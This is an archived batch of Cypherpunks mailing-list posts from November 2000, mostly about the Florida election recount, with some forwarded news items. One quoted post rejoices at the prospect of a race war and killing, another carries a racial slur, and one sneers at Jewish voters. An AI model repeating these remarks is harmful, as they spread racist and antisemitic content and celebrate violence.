PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jburnes at savvis.net Thu Nov 9 03:30:54 2000 From: jburnes at savvis.net (Jim Burnes) Date: Thu, 9 Nov 2000 05:30:54 -0600 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011092258.RAA18152@www2.aa.psiweb.com> References: <200011092258.RAA18152@www2.aa.psiweb.com> Message-ID: <0011090530540C.02765@reality.eng.savvis.net> On Thu, 09 Nov 2000, George at Orwellian.Org wrote: > Spooky Cypherpunk Niggar Tim May Moroned: > # When I hear Jesse Jackson saying that unless the Palm Beach voters > # are given the chance to have a new vote there will be a race war, I > # rejoice. > # > # I was just reading in misc.survivalism that some folks in Florida are > # saying that if Al Gore and his Voters of Color succeed in twisting > # the courts into stealing the election, that white folks will start > # killing. > # > # Music to my ears. The fuse is burning on the powder keg. > > Holy shit! > > I vote you are hereby ex-communicated from the Cypherpunks club, > joining Dimitry Vulis. Bwahahahahahahahaha! jim -- Sometimes it is said that man can not be trusted with the government of himself. Can he, then, be trusted with the government of others? Or have we found angels in the forms of kings to govern him? Let history answer this question. -- Thomas Jefferson, 1st Inaugural From ravage at ssz.com Thu Nov 9 05:09:34 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 9 Nov 2000 07:09:34 -0600 (CST) Subject: CDR: Re: Phil Zimmerman Profiled In-Reply-To: <200011090805.AAA15590@user3.hushmail.com> Message-ID: Hi Clueless, On Thu, 9 Nov 2000 auto87114 at hushmail.com wrote: > Why was this article about encryption posted on this US presidential elektion > discussion list? > > What's that you say? You're kidding! Really? You mean this is an encryption > discussion list? Nah, I still don't believe it. It's about cryptography, civil liberties, and economics. You're experiencing personal inellectual myopia. You want a strictly crypto discussion you say? Start the damn thing yourself you lazy bastard. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From rah at shipwright.com Thu Nov 9 05:05:26 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 9 Nov 2000 08:05:26 -0500 Subject: CDR: BSA deploys imaginary pirate software detector vans Message-ID: --- begin forwarded text From juicy at melontraffickers.com Thu Nov 9 08:50:48 2000 From: juicy at melontraffickers.com (A. Melon) Date: Thu, 9 Nov 2000 08:50:48 -0800 Subject: CDR: Where is Jim Bell? Message-ID: <12d0dd0f3c5ebd979720cfb956733fae@melontraffickers.com> Declan; Why haven't you found out yet what happened to Jim Bell? Certainly you could ask questions of Portland PD, whatever, or his mom, find out what they've done with him. This is certainly a newsworthy item. Squelching free speech by terrorizing dissedents is what it's all about. From tcmay at got.net Thu Nov 9 09:02:05 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 09:02:05 -0800 Subject: CDR: Close Elections and Causality Message-ID: * In a close, nearly-tied election, should a re-vote be allowed? * In a close sports game, should all potential "fork" decisions (referee calls) be reviewed and the game rolled-back...even hours later? Should critical plays be re-played the next day? * Did the woman who voted at 9 a.m. but whose vote was counted at the _end_ of the final count, and whose vote seemingly "caused" one candidate to win and another to lose _actually_ "cause" the outcome? * Did Oregon, for example, whose votes were counted last and whose votes put a candidate over the top actually "cause" the outcome? First, a few words about causality. Most people think they know about cause-and-effect. The earth turns, and this "causes" the sun to rise. A rooster crows, but this is _not_ the cause of the sun coming up...so we know from modern science. But how about this example: a golfer is about to be defeated in a tournament. He hits his ball, it appears to be going wide, then it hits a tree branch and bounces toward the hole. It goes in. The golfer wins. It turns out (pointed out by Patrick Suppes 30 years ago in one of his textbooks) that nearly every person will say something like "The tree branch _caused_ him to win." That is, the tree branch is seen as an intervening agent which altered history. The weird thing is that a ball bouncing off a tree branch is quite clearly a _scattering_ event. In our crypto and information theory terms, we would say it "increases entropy," it randomizes the outcome. The fact that sometimes the randomization or scattering works to the benefit of one player does not mean much about "causation." How this relates to voting: In close elections, as in close sports games, as in the golf example, there will be many events which are later claimed to be "hinge points," or forks. -- Someone will say that a highway being closed prevented them from getting to the polling place in time, and that there additional vote "would have made the difference." They want a re-vote. -- Someone who voted at 9 a.m. will be characterized as having "caused" the outcome to be as it was...which is an obvious misuse of "causation" (just by the basic ontology that her vote at 9 a.m. could not have "caused" other votes to be as they were). -- The most commonly heard version of this "causation fallacy" is the usual stuff about how "Oregon made the difference. The voters in Oregon caused Al Gore to win." Do the mental experiment of assuming votes were tallied in the _other direction_, with votes on the West Coast counted and reported _before_ votes to the east. Then the comments would be about how "Rhode Island made the difference...the voters in Rhode Island caused Al Gore to be elected." Again, a misuse of the term "causation." Ironically, the book I recommended several weeks ago, Judea Pearl's "Causality," is very apropos here. It _caused_ me to better understand these points. OK, how about re-votes? Many are calling for a re-vote in Palm County, Florida. Various issues are cited, and the "voters in Palm County will make the difference" point is heard often. "The vote in Florida will cause one or the other of the candidate to win." "The outcome hinges on the vote in Palm County." First off, the points above, about causality and who gets counted last, apply. Second, at the time of the "approximately simultaneous" vote on Tuesday, no particular state, no particular county, and no particular precinct had any way of "knowing" that it would be a hinge site. Thus, some people didn't bother to vote, some were careless in reading the ballot instructions, some just made random marks, some were drunk, all of the usual stuff happening in polling places across the country. This despite the estimated $3 billion spent on wooing voters. Deciding that one of those states or one of those counties was "decisive" (caused the outcome, was a hinge point, etc.) and thus should be given a chance to hold a new vote, has numerous implications for fairness: * instead of being just another voter, just another voting site, the N residents will now have the weight of the entire election outcome on their shoulders * intensive lobbying for votes will occur, far beyond the original lobbying (when I say "far beyond" I mean by several orders of magnitude...it might be that all residents would have to be sequestered from the time of the announcement of a re-vote to the actual re-vote just to ensure that bribes are not offered, etc.). * the claims by some that people would simply "repeat their votes, except without the confusing ballot issue" are naive. Sensing their new role as determiners of the outcome, many would change their original votes (And of course there would be no way of knowing if someone had changed their vote, for obvious reasons that ballots are not linkable to the voter.) * and there are the points about the ballot raised earlier: the ballot had been used before, there were no legal challenges made, the voting commission was led by a Democrat who had approved the ballot, the ballot was published in newspapers, etc. In summary, close elections and close sports games often seemingly depend on minor factors. These minor factors are, paradoxically and incorrectly, ascribed to be the "causes" of later events. Lastly, allowing a re-vote when the hinge points have already been identified is a serious distortion of the process. Rules are rules. The time to object is beforehand. Unless extremely serious voter fraud is found, results should not be thrown out when those results are in accordance with the rules. In no cases should a re-vote of a "hinge county" be allowed for less-than-massive-fraud reasons. And, of course, Palm County will _not_ be given a second chance to vote in this election. I guarantee it. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Thu Nov 9 09:42:28 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 09:42:28 -0800 Subject: CDR: Reporting weirdness: Hagelin vs. Browne Message-ID: On CNN I watched the election results coming in. They always listed four candidates: Bush, Gore, Nader, and Hagelin. The usual format was Bush/Gore on the "crawl" at the bottom of the screen and then a second page with the crawl having Nader/Hagelin. Sometimes Buchanan was listed. It sure looked like Hagelin was doing better than Browne, the Libertarian Party candidate. Well, here's what the "Washington Post" is reporting as the nearly final tally for the lesser candidates: Harry Browne (Lib.) 0 373,109 0 Howard Phillips (CST) 0 98,224 0 John Hagelin (NLP) 0 87,914 0 James Harris (SWP) 0 11,190 0 L. Neil Smith (Lib.) 0 5,181 0 Monica Moorehead (WW) 0 4,245 0 David McReynolds (Soc.) 0 4,097 0 I guess it was "natural law" that caused CNN (and perhaps other networks) to report on Hagelin over Browne. The Libertarian Party should request a "Do-over!" like the Palm Beach Jews are now demanding. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ernest at luminousnetworks.com Thu Nov 9 09:43:41 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Thu, 9 Nov 2000 09:43:41 -0800 Subject: CDR: RE: Close Elections and Causality Message-ID: <090825D1E60BD311B8390090276D5C4965DD01@galileo.luminousnetworks.com> Thanks Tim. (First, I genuinely appreciate the specificity. Now we can discuss just where we disagree.) Given your points, one would have to argue that the proper election would have to be extremely simultaneous (e.g. everyone votes within 1 hour or whatever will most likely beat any realistic attempt to predict voter results before the vote is actually finished). I can see your point. However, it ain't gonna happen precisely because people have normal life concerns that truly are 24x7 and simply cannot work around them. (e.g. kids, certain kinds of jobs, etc ...). A reasonable level of flexibility is required. "Reasonable" appears to mean opening polls for most of the day, but I would hate to have some faceless fed tell me what reasonable is. Tax day is another example. Shit. Why should the Post Office do anything extra special for you if you don't get your forms filed in time? Why should they set up special lines and special times on the night of April 15? Because it's a compromise. It's pragmatic. The goal is to get people to file and to file on time. Same thing here. The goal is to give people a chance to vote. Otherwise, national elections should have national rules, according to your reasoning. States should not be allowed to set up their own mechanisms to vote on national elections. But in fact, the states ARE granted such flexibility because that's the tradition. It does not fit yours or someone else's absolute ideals, but then it's such a huge process and who knows what level of flexibility each state or local region needs. So on the issue of extending hours: If each district, county, township, neighborhood should decide to open the polls LONGER, I can't see a problem with that. If they close it earlier, it's probably not a problem either unless someone felt they did not have a chance to get to the polls. Then someone will have to decide whether that person had a fair chance to vote. But you don't want some no-name federal government bureaucrat deciding what constitutes a fair and reasonable chance to vote in your circumstances, right? Yes, I know, you can probably name all sorts of extreme and clearly abusive behavior that this would allow. But surprisingly, most people do not abuse the system. Most people don't if it is too inconvenient to be a pain-in-the-ass. On the issue of re-voting: The causality and the hinge issues are irrelevant if ANY state, county, district, whatever can go to a judge and argue (not demand arbitrarily) for re-vote. It's exactly YOUR argument: Just because county X is demanding a re-vote does not suddenly make that county the hinge vote. They obviously do not know or care if county Y also demand a re-vote. Same flaw. Because every area of the country have the same right (as Palm Beach) to demand a re-vote. But "reasonableness" and "compromise" will usually demand some upper bound on how much of this can occur to correct for any problems that arise. My personal view is that it is obvious that the election is close, period. Therefore, any particular place where it's winner-take-all, a reasonable request to re-vote should be granted. Lots of places here and abroad have the concept of run-off elections for precisely the same reasons: Let's see what the voters really want. Ern -----Original Message----- From: Tim May [mailto:tcmay at got.net] Sent: Thursday, November 09, 2000 9:02 AM To: cypherpunks at algebra.com Subject: Close Elections and Causality [ Long educational rant about causation and how some people are not clued in. ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 6216 bytes Desc: not available URL: From ptrei at rsasecurity.com Thu Nov 9 07:01:22 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Thu, 9 Nov 2000 10:01:22 -0500 Subject: CDR: RE: Re: A very brief politcal rant Message-ID: > ---------- > From: Alan Olsen[SMTP:alan at clueserver.org] > Reply To: Alan Olsen > Sent: Wednesday, November 08, 2000 9:22 PM > To: cypherpunks at einstein.ssz.com > Cc: cypherpunks at einstein.ssz.com > Subject: CDR: Re: A very brief politcal rant > > At 10:36 AM 11/8/00 -0500, brflgnk at cotse.com wrote: > >If the citizens of Missouri chose to elect a deceased person as Senator, > I > >think > >that's exactly what they should get. Leave the seat empty for two years. > > Nah! Just dig him up and wheel him to all the meetings. (I believe that > has been done at some British university. Not certain. Too much Ripley's > Believe It or Not as a kid...) > Jeremy Bentham, spiritual founder of University College, University of London. http://www.ucl.ac.uk/Bentham-Project/jb.htm for an image of the 'auto-icon' http://www.ucl.ac.uk/Bentham-Project/auto_il.gif It turns out that the story that the his preserved body attends University Council meetings (and is noted in the minutes as 'present, not voting') is only a UL (university legend). I got my degree at Kings College, University of London. Bentham was an atheist and the founder of Utilitarianism. King's was founded by a group of religious Londoners appalled by the thought of godless UC, and even in the late 1970's there was still a distinct rivalry between the two schools. Periodically, students from UC would steal 'Reggie' a lifesize lion statue which was King's mascot, and King's students would kidnap Jeremy's head (which is separated from, but stored with, the rest of his body). Usually, the momentos would be ransomed after a few weeks, with the money going to charity. Peter Trei PS: We covered all this in the list 5-6 years ago. From fm at st-kilda.org Thu Nov 9 02:13:26 2000 From: fm at st-kilda.org (Fearghas McKay) Date: Thu, 9 Nov 2000 10:13:26 +0000 Subject: BSA deploys imaginary pirate software detector vans Message-ID: http://www.theregister.co.uk/content/4/14562.html ------------------------------------------------------------------------ BSA deploys imaginary pirate software detector vans By: Kieren McCarthy Posted: 08/11/2000 at 10:57 GMT The Business Software Alliance aka The Pirate Busters is growing so frustrated in its hopeless efforts to cut down on software piracy that it has decided propaganda and misinformation is the way forward. Visitors to Glasgow Central Station yesterday were surprised to be confronted by a Ford Transit van with a small radar and rusty Sky satellite dish mounted on top. What was this apparition? Why, the BSA's latest weapon in the war against software-stealing scum. A wise reader asked one of the "consultants" what exactly the dishes were able to do and was informed they could detect PCs running illegal software. When pushed a little further, she admitted the van was "just a dummy" but the BSA still had a fleet of the real things rushing around Scotland detecting and nabbing unsuspecting criminals. Expressing incredulity, things turned nasty and our loyal reader was threatened. He'd "better watch out" because the BSA with its new super software-finding equipment will "get him easily". He quickly ran off and slid into the shadows before he was photographed and his face wired to Interpol and the CIA. Can you believe this? This has to be one of the most insane things we've heard in years. The BSA needs to take a valium and lay down for a bit. � Related Stories BSA offers �10K bounty to catch software thieves --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From tcmay at got.net Thu Nov 9 10:13:39 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 10:13:39 -0800 Subject: CDR: RE: Close Elections and Causality In-Reply-To: <090825D1E60BD311B8390090276D5C4965DD01@galileo.luminousnetworks.com> References: <090825D1E60BD311B8390090276D5C4965DD01@galileo.luminousnetworks.com> Message-ID: At 9:43 AM -0800 11/9/00, Ernest Hua wrote: >Thanks Tim. (First, I genuinely appreciate the >specificity. Now we can discuss just where we >disagree.) > >Given your points, one would have to argue that >the proper election would have to be extremely >simultaneous (e.g. everyone votes within 1 hour >or whatever will most likely beat any realistic >attempt to predict voter results before the vote >is actually finished). > >I can see your point. However, it ain't gonna >happen precisely because people have normal life >concerns that truly are 24x7 and simply cannot >work around them. (e.g. kids, certain kinds of >jobs, etc ...). "Designing fairer elections" has very little to do with my points, about causality, re-dos, and re-votes. I can think of various improvements to the election process, such as operating the polls for a 15 hour period, nationwide, simultaneously. Whatever. This is a matter for those involved in designing elections, not at all related to this business of whether some particular polling site should get a "do-over." I urge you to get involved in the Election Commission in your state and to make your suggestions for future elections. > >A reasonable level of flexibility is required. >"Reasonable" appears to mean opening polls for >most of the day, but I would hate to have some >faceless fed tell me what reasonable is. The voting periods are set by the states, not the Feds. You, ironically, seem to be arguing for more of a role for the Feds, not less of a role. > >Same thing here. The goal is to give people a >chance to vote. Otherwise, national elections >should have national rules, according to your >reasoning. States should not be allowed to set >up their own mechanisms to vote on national >elections. See what I mean? How do you square your "I would hate to have some faceless fed tell me what reasonable is" with "states should not be allowed to set up their own mechanisms..." point? I really need to give up on you. You blather, you ramble, you contradict yourself, you lack a consistent point of view, you probably would have voted for Buchanan and then claimed you wanted a do-over. > >So on the issue of extending hours: > >If each district, county, township, neighborhood >should decide to open the polls LONGER, I can't >see a problem with that. If they close it >earlier, it's probably not a problem either >unless someone felt they did not have a chance >to get to the polls. You fail to grasp the essential point: the hours must not be changed once they have been established. It is utterly wrong to close the polls _early_. Your point "it's probably not a problem either someone felt..." is utterly vacuous. It is also utterly wrong to keep the pollling places open longer. Especially when a political calculation is made that more Democrats appear to be straggling, as was the calculation in St. Louis on Tuesday. That you don't get this point, about consistent rules, does not surprise me at all. > >On the issue of re-voting: > >The causality and the hinge issues are irrelevant >if ANY state, county, district, whatever can go >to a judge and argue (not demand arbitrarily) for >re-vote. No, it is not irrelevant. It would give the courts the power to determine elections and would likely put an end to our system of government. Perhaps we should adopt your suggestion. Let the lawyers take over the election process just as they have taken over most things. >Lots of places here and abroad have the concept >of run-off elections for precisely the same >reasons: > >Let's see what the voters really want. > We did just this--we had the election. Do-overs are not allowed. Fools like you just don't get it. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Thu Nov 9 10:15:42 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 09 Nov 2000 10:15:42 -0800 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <20001109104244.C24119@cluebot.com> References: <090825D1E60BD311B8390090276D5C4965DCFE@galileo.luminousnetworks.com> Message-ID: <3.0.5.32.20001109101542.00aacd50@idiom.com> At 10:42 AM 11/9/00 -0500, Declan McCullagh wrote: >It would be simpler, and probably fairer (in a general sense) to discard >those ballots that are suspect. Elections such as this should not be >re-run. > >Take it down to its most general form. Gore and Bush are tied. > My ballot was mangled during processing and is unreadable; I successfully >sue for a rerun of the election, just for my ballot alone. Is this a >good thing? There are at least two problems with that 0) That's what happened now, and nobody likes it :-) 1) The ballots that appear to have been misvoted, about 19000 of them, disproportionately appear to have been for Gore, and not for Bush, so it seriously biases the results in that district. You could avoid this by voiding _all_ Presidential votes from the district. 2) The district itself is heavily Democrat, so voiding all their votes doesn't fix the imbalance either. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From declan at well.com Thu Nov 9 07:38:28 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 10:38:28 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011090351.WAA14142@www9.aa.psiweb.com>; from George@orwellian.org on Wed, Nov 08, 2000 at 10:51:58PM -0500 References: <200011090351.WAA14142@www9.aa.psiweb.com> Message-ID: <20001109103828.A24119@cluebot.com> I haven't found such a requirement in Florida law. See below. -Declan ... In counties where paper ballots are used, each elector shall be given a ballot by the inspector. Before delivering the ballot to the elector, one of the inspectors shall write his or her initials or name on the stub attached to the ballot; then the elector shall, without leaving the polling place, retire alone to a booth or compartment provided, and place an "X" mark after the name of the candidate of his or her choice for each office to be filled, and likewise mark an "X" after the answer he or she desires in case of a constitutional amendment or other question submitted to a vote. ... 101.191 Form of general election ballot.-- (1) The general election ballot shall be in substantially the following form: OFFICIAL BALLOT GENERAL ELECTION No. _____ _____ COUNTY, FLORIDA Precinct No. _____ (Date) (Signature of Voter) (Initials of Issuing Official) Stub No. 1 OFFICIAL BALLOT GENERAL ELECTION No. _____ _____ COUNTY, FLORIDA Precinct No. _____ (Date) (Initials of Issuing Official) Stub No. 2 OFFICIAL BALLOT GENERAL ELECTION _____COUNTY, FLORIDA Precinct No. _____ (Date) TO VOTE for a candidate whose name is printed on the ballot, mark a cross (X) in the blank space at the RIGHT of the name of the candidate for whom you desire to vote. To vote for a candidate whose name is not printed on the ballot, write the candidate's name in the blank space provided for that purpose. ELECTORS For President and Vice President (A vote for the candidates will actually be a vote for their electors) Vote for group DEMOCRATIC (Name of Candidate) For President [ ] (Name of Candidate) For Vice President REPUBLICAN (Name of Candidate) For President [ ] (Name of Candidate) For Vice President (NAME OF MINOR PARTY) (Name of Candidate) For President [ ] (Name of Candidate) For Vice President NO PARTY AFFILIATION (Name of Candidate) For President [ ] (Name of Candidate) For Vice President WRITE-IN For President For Vice President CONGRESSIONAL UNITED STATES SENATOR Vote for One (Name of Candidate) (Party abbreviation) [ ] (Name of Candidate) (Party abbreviation) [ ] (And thence other offices under this heading, followed by the headings and offices as prescribed in s. 101.151.) PROPOSED CONSTITUTIONAL AMENDMENTS OR OTHER PUBLIC MEASURES To vote on a constitutional amendment or other public measure, mark a cross (X) in the blank space next to either YES or NO. No. _____ CONSTITUTIONAL AMENDMENT ARTICLE _____, SECTION _____ (Here the wording of the substance of the amendment shall be inserted.) YES for Approval [ ] NO for Rejection [ ] (2) The general election ballot shall be arranged and printed so that the offices of President and Vice President are joined in a single voting space to allow each elector to cast a single vote for the joint candidacies for President and Vice President and so that the offices of Governor and Lieutenant Governor are joined in a single voting space to allow each elector to cast a single vote for the joint candidacies for Governor and Lieutenant Governor. From declan at well.com Thu Nov 9 07:40:10 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 10:40:10 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: <200011090351.WAA14142@www9.aa.psiweb.com>; from George@orwellian.org on Wed, Nov 08, 2000 at 10:51:58PM -0500 References: <200011090351.WAA14142@www9.aa.psiweb.com> Message-ID: <20001109104010.B24119@cluebot.com> (As a followup, I should say I see "RIGHT" in the sample ballot, but that is not a requirement, but a suggestion, and I'd argue the ballots that were used probably have substantially the same form.) -Declan From mctaylor at privacy.nb.ca Thu Nov 9 06:41:13 2000 From: mctaylor at privacy.nb.ca (M Taylor) Date: Thu, 9 Nov 2000 10:41:13 -0400 (AST) Subject: Intercepting e-mail eyed by Ottawa Message-ID: Intercepting e-mail eyed by Ottawa Privacy issue: Spy agency weighs secrecy against cyber attacks National Post, October 16, 2000, Jim Bronskill BEGIN QUOTE Federal officials are wrestling with the privacy implications of intercepting e-mail messages during attempts to zero in on computer viruses. A newly declassified report by Canada's electronic spy agency indicates the issue is among the thorny legal questions that need to be clarified before going ahead with a planned national centre to protect vital information networks. The Communications Security Establishment report, obtained under the Access to Information Act, stresses the need for policy guidance to help the proposed information protection co-ordination centre investigate viruses and cyber attacks. "The interception of e-mail messages may be required when tracking down viruses since most viruses are distributed through the e-mail system," says the CSE report, prepared in April. "This may be seen as an invasion of privacy but in some cases it may be necessary in order to ensure network security." It notes that existing case law deals with similar scenarios but the results are "still subject to interpretation." ... END QUOTE rest of text: It is not very clear what the CSE et all have in mind, perhaps a CALEA[1] like wiretapping party house or Carnivore [2]. -M Taylor [1] Communications Assistance to Law Enforcement Act (U.S. Gov't) [2] http://www.epic.org/privacy/carnivore/ --- end forwarded text -- "...as we transfer our whole being to the data bank, privacy will become a ghost or echo of its former self and what remains of community will disappear"...Marshal McLuhan -- Robert Guerra , Fax: +1(303) 484-0302 WWW Page , ICQ # 10266626 PGPKeys From tcmay at got.net Thu Nov 9 10:42:10 2000 From: tcmay at got.net (Tim May) Date: Thu, 9 Nov 2000 10:42:10 -0800 Subject: CDR: The Butterfly Effect Message-ID: Devil's Dictionary, 2005 edition: "Butterfly Effect: Wherein the use of a "butterfly ballot" having candidates listed on either side of a central column was claimed to have confused some elderly Jewish voters in Palm County, Florida and thus was used by lawyers as an excuse to take full control of the American election process." --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From declan at well.com Thu Nov 9 07:42:44 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 9 Nov 2000 10:42:44 -0500 Subject: CDR: Re: A successful lawsuit means Gore wins! In-Reply-To: ; from tcmay@got.net on Wed, Nov 08, 2000 at 09:28:29PM -0800 References: <090825D1E60BD311B8390090276D5C4965DCFE@galileo.luminousnetworks.com> Message-ID: <20001109104244.C24119@cluebot.com> It would be simpler, and probably fairer (in a general sense) to discard those ballots that are suspect. Elections such as this should not be re-run. Take it down to its most general form. Gore and Bush are tied. My ballot was mangled during processing and is unreadable; I successfully sue for a rerun of the election, just for my ballot alone. Is this a good thing? -Declan On Wed, Nov 08, 2000 at 09:28:29PM -0800, Tim May wrote: > At 8:57 PM -0800 11/8/00, Ernest Hua wrote: > > > There cannot be a re-vote of the County, or even of the entire State, > >> as this would distort the forces acting on the electorate in a way > >> never seen before. The Palm County voters would know _they_ would be > >> electing the next president. Billions of dollars would be spent > >> trying to buy each and every voter. > > > >"distort the forces ..." Lord! No! Don't let them do that! > > > >Geez, Tim. What happened to personal responsibility? Who gives two > >bits what "forces" will be upon them. They will ultimately still > >have to cast a vote which they were casting just days earlier. Who > >cares if idiots spend billions to sway a few thousand votes. That's > >THEIR problem. It's free speech, as you have claimed in the past. > > You're a complete idiot if you don't understand this point. > > I made my points, briefly, above. This would not be a matter of the > same voters simply recasting their same ballots. Think about it. > > (I'm not convinced you can, Ernest. In reading hundreds of your posts > I have concluded that you're just part of Vinge's "Slow Zone.") > > > --Tim May > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > From jacques.garsous at glaverbel.com Thu Nov 9 01:45:12 2000 From: jacques.garsous at glaverbel.com (jacques.garsous at glaverbel.com) Date: Thu, 9 Nov 2000 10:45:12 +0100 Subject: CDR: PGP on the Palm Pilot. Message-ID: Hi, Could send me where I can find more explanation about PGP using on a Palm Pilot. Best Regard, Jacques GARSOUS Network Engineering Glavinfo E-mail jacques.garsous at glaverbel.com Tél + 32 2 658 05 32 Mobile +32 476 40 97 93 Glavinfo E.I.G. Vandammestraat 7, Bus 2 B-1560 Hoeilaart Belgium From ptrei at rsasecurity.com Thu Nov 9 07:51:25 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Thu, 9 Nov 2000 10:51:25 -0500 Subject: CDR: Electoral college (was: Re: More blather from the DEMS on FL] Message-ID: > evanmcmullen at yahoo.com] wrote: > > what the hell is the electoral college still doing in existance? it > should have gone out w/ unlimited presidential terms.... voting with > their conscience my ass.... voting in a partisan fashion is more like it > [Learn to use your 'Shift' key; it's there for a reason.] I expect that we still have an electoral college because amending the Constitution is a very laborious process, and fixing it has no constituancy; one party is about as likely to benefit from it as another. As to why we have one in the first place.... At the founding of the US, the franchise was far from universal; women, slaves, and non-landowners were excluded - it was felt that such people were either congenitally unfit, or (in the case of the propertyless) too shiftless to exercise a vote responsibly. Voting was regarded as a very important act, and it was neccesary to restrict it to an educated, socially responsible elite, to whom the welfare of their society was a personal interest (this limited franchise also existed in England). At the same time, the FF wanted to have a government which represented the people as a whole. There was a considerable difference to the formation of society in the different states; in the North, there were a very large number of small family farms, the heads of which each qualified as voters. In the South, most of the land was owned by a much smaller number of owners of huge plantations, which might have dozens or hundreds of people, but only one landowner who could vote. Thus, the ratio of voters to the general populace differed between North and South. At the time of the Constitutional convention, Virginia was the most populous state, but it fell into the Southern mode. If all votes were weighed equally in selecting the president, Virginia and the other populous plantation system states would get the short end of the stick. Virginians were a powerful group in the CC, and rammed through the electoral college system. In this, the number of electoral votes was proportional to the total number of people (not just voters) in the state (Indians were not counted, and slaves counted as 3/5s of a free person each). As the franchise was gradually expanded, the role of the electoral college has become more and more irrelevant. Since the Civil Rights movement of the early 60's (the last time a large group gained real voting rights) , it's been about as useful as an appendix This is the first election since then that it's been a problem. That's why we still have it. Peter Trei From foo at bar.net Thu Nov 9 07:57:59 2000 From: foo at bar.net (foo at bar.net) Date: Thu, 9 Nov 2000 10:57:59 -0500 (EST) Subject: CDR: Recommended csmonitor.com article Message-ID: <200011091557.KAA20678@www.csmonitor.com> ------------------------------------------------------------------------- foo at bar.net has recommended this article from The Christian Science Monitor's electronic edition. One for Tim May ------------------------------------------------------------------------- Click here to email this story to a friend: http://www.csmonitor.com/cgi-bin/send-story?2000/10/31/text/p15s1.txt Click here to read this story online: http://www.csmonitor.com/durable/2000/10/31/fp15s1-csm.shtml Headline: A college course turns to the streets for real-life lessons Byline: Date: 10/31/2000 Matthew is not what you'd consider a typical expert enlisted to share his experience with college students. He hasn't earned a degree. He doesn't have an office - or even a phone. But on a recent warm October day, a group of college students are spellbound as Matthew shares his first-hand expertise in a problem they witness every day: homelessness. Holding court in the Boston subway as trains screech through the dark, Matthew educates his audience - members of an unusual class on homelessness and poverty from the University of Massachusetts at Amherst - about everything from finding food to breaking through locked doors in search of a warm place to sleep. All it takes, he intones, is one bad winter night. "I'm freezing, there's nowhere to go," he says of his thought process. "You want to get in, you need to get in." The course's goal is an understanding of homelessness that transcends classroom lectures and policy discussions. Reflective of efforts at colleges around the country to enhance in-class study with hands-on experience, the class combines service learning with lectures. Reading and writing assignments cover political, economic, and historical aspects of poverty (see story, below). Students also hand out food and clothing. Through the wide-ranging approach, participants - whose majors range from engineering to sociology - hope not only to gain a clearer sense of the world beyond their dorm rooms, but also to probe for solutions to a seemingly intractable problem. Indeed, more than 700,000 people in America were homeless on any given night in 1999, and up to 2 million people during the year, according to National Coalition for the Homeless. Many are hampered by a lack of affordable rents and buildings that accommodate group living. Sandwiches and socks On this particular day, the U-Mass group joins students from Dartmouth College, Boston University, and other schools where volunteers work with an outreach program called City Reach. The students organize a clothing giveaway at St. Paul's Episcopal Cathedral. Then they fill their backpacks with sandwiches and socks and head out on the streets in small teams. As they pass park benches, narrow alleys, and expansive fields, they hear a common message from the former truck drivers, teachers, and war veterans who make up the homeless community: We never thought it would happen to us. Matthew, who has lived on the street for three years since losing his job, tells students that one night a few years ago, he broke into a train station and slept on a marble bench. He awoke to commuters reading newspapers. "I prayed I hadn't been snoring," he says with a chuckle. But, he adds, "people walked right past me. It's like a whole other world..., another speed." A key element in this kind of a class is careful planning and focus to avoid seeming voyeuristic, says Meg Campbell, a lecturer at the Harvard Graduate 